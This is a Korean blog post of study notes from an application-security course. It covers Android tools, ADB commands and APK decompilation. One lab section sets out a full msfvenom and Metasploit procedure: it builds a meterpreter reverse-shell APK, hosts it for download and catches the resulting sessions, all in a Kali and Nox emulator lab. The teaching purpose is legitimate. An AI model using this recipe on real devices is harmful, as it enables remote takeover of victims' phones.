본문 바로가기
SeSAC/어플리케이션 보안 & 취약점 진단

[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 7일차

by zivvon 2023. 11. 21.
목차 접기

어플리케이션 보안 & 취약점 진단

[ Android 안드로이드 ]

▶ 컴파일 / 디컴파일 도구 ⭐

진단 도구 설명
ADB 애뮬레이터 혹은 안드로이드 단말과 통신을 위한 명령 수행하는 콘솔(쉘 명령) 등 제공
패키지 설치, 삭제 가능
Apktool APK 디컴파일 및 리패키징 도구
Dex2Jar DEX 파일을 자바 클래스 파일로 변환
JD-gui 디컴파일 및 Java 코드 분석 도구
Keytool APK 파일 서명 위한 키생성 도구
Jarsigner 리패키징 된 APK 파일에 서명 위한 도구

 

▶ ADB 명령어 ⭐

명령어 설명
adb devices pc와 연결된 디바이스 및 에뮬레이터 연결 목록 확인
adb install [파일명.apk] 디바이스에 apk 파일 설치
adb uninstall [패키지명] 디바이스에 설치된 패키지 삭제
adb push [pc 경로] [안드로이드 경로] PC에 저장된 파일을 디바이스에 복사
adb pull [안드로이드 경로] 디바이스에 저장된 파일을 pc로 복사
adb shell 연결된 디바이스 쉘 실행
adb logcat 연결된 디바이스 로그 모니터링
adb connect 127.0.0.1:62001 127.0.0.1의 62001 포트에 adb 연결
adb shell pm list package 연결된 디바이스에 설치된 모든 패키지 목록 확인
adb shell pm list permissions 연결된 디바이스의 어플리케이션에 대한 권한 목록

 

▶ 컴파일 Compile : 사람이 이해하는 언어를 컴퓨터가 이해할 수 있는 언어로 바꿔주는 과정

- 원시코드 : 우리가 작성한 코드

- 목적 코드 : 컴퓨터가 이해할 수 있도록 번역한 코드

 

▶ 디컴파일 Decompile ⭐ : 컴파일된 실행 파일을 소스코드로 되돌리는 작업

= 우리가 읽을 수 있는 언어로 변환해주는 과정

= Reverse Engineering


 

💡오늘의 실습!

베놈과 메타스플로잇을 이용해 안드로이드 악성 코드를 만들어보고 배포?해보자!
실습 환경 :  VMware 상에서 Kali Linux 가동
⚠️ 이미지의 네트워크는 NAT로 설정하자!
sudo apt-get update && apt-get upgrade -y

1. 웹페이지 오픈
sudo service apache2 restart​

 

⚠️ Nox의 인터넷 브라우저에서 ip에 접근하여 잘 작동되는지 확인하기 (하단 결과화면 참고)

2. 안드로이드 악성 코드 생성
msfvenom -p android/meterpreter/reverse_tcp LHOST=[이미지 IP주소] LPORT=[서비스 포트번호] R > [apk 파일]​

3. 악성 코드를 웹에 배포
sudo cp [apk 파일명] /var/www/html​

4. 메타스플로잇 콘솔 실행
msfconsole​

5. 핸들러 설정
use exploit/multi/handler​

6. 페이로드 설정
set payload android/meterpreter/reverse_tcp​

7. 메타스플로잇 IP 설정
set LHOST [이미지 IP주소]​

8. 서비스 포트 설정
set LPORT [포트 번호]​


9. 여러 세션이 동시 접속이 가능하도록

set exitonssion false


10. 백그라운드 실행

exploit -j


이제! Nox의 인터넷 브라우저에서 'http://[이미지 IP 주소]/[apk 파일]'로 이동하면 악성 코드 파일이 다운 받아진다.


그럼! VMware 상에서 서비스 포트가 잘 붙었고 접속해있음 또한 확인할 수 있다.

sessions

 

결과화면 : Nox 인터넷 브라우저에서 확인한 VMware IP 주소

 


 

💡오늘의 실습!

adb 명령어 사용과 apk파일 디컴파일하기

 

1. adb.exe 파일이 있는 디렉토리로 이동한다
cd C:\경로\​

 

2. 장치 검색
adb devices​


3. 디바이스 연결
⚠️ usb 연결 없이 네트워크로 접속한 것

adb connect [로컬IP]:62001

⚠️ 62001은 Nox의 고유한 포트번호라고 합니다!

다시 2번의 명령어를 통해 장치검색을 하면 제대로 디바이스가 Nox와 연결된 것을 확인할 수 있다.

결과화면
List of devices attached
127.0.0.1:62001 device


4. adb 쉘에 연결하고 프롬프트 띄우기

adb shell


5. Nox에 있는 파일을 pc에 저장하기

adb pull /data/app/파일명/복사할 파일명


6. Nox에서 파일 삭제하고 cmd 상에서 다시 설치해보기

adb install 위에서 복사한 파일명

7. cmd 상에서 Nox에 설치되어 있는 파일 삭제하기
adb uninstall [패키지명]​

 


⚠️ 패키지명은 아래 명령어로 확인 가능

adb shell ps​

 

8. apk 파일 디컴파일 하기 ⭐
- 디컴파일 명령어

apktool d [디컴파일할 apk 파일이 있는 경로]​

java -jar apktool_2.5.0.jar d [apk 파일]​

결과화면 : 디컴파일 된 apk 파일 디렉토리 내부


 

✏️ 나를 위한 구체적인 공부

Q. 디컴파일이 완료되면 폴더가 생성되는데 그 안에 'smali'?

A) 'smali' 코드란 DEX 바이너리를 사람이 읽을 수 있도록 표현한 언어

 

- Dalvik 바이트 코드를 위한 어셈블리 언어

- 안드로이드 리버싱 엔지니어링 할 때 사용

- smali 코드를 해석해 프로그램의 실행원리를 파악 가능

- smali는 재컴파일이 가능하기 때문에, 코드를 수정하고 재컴파일함으로써 프로그램 자체 수정 가능

 

Q. APK Decompile 디컴파일

A) 'Apktool', 'dex2jar'을 이용해 디컴파일 하기

ㄴ Q1. APK 디컴파일 가능?

ㄴ A1) APK는 압축파일로 이루어져 있기 때문에 Apktool 도구를 이용해 압축 해제하고, 해제한 파일인 DEX 파일을 다시 jar 파일로 변환하여 수정이 가능함. 즉, APK도 결국 압축 해제가 가능하기 때문에 디컴파일 가능!

ㄴ Q2. 그럼 압축만 풀 수 있으면 모두 디컴파일 가능하단 애기?

ㄴ A2) ...

 

- 내부 파일을 확인만 할 경우

: APK 파일을 jar 파일로 변환하여 jar 파일을 보면 됨

 

- 파일을 수정하고 앱을 재빌드 하는 경우

: 파일을 수정하는 경우에는 APK 파일 압축을 풀어 그 안에 있는 dex 파일을 jar 파일로 변환하고 변환된 jar 파일을 수정하고 다시 APK 파일을 재빌드

 


 

오늘의 후기 : 아.. 머리아프다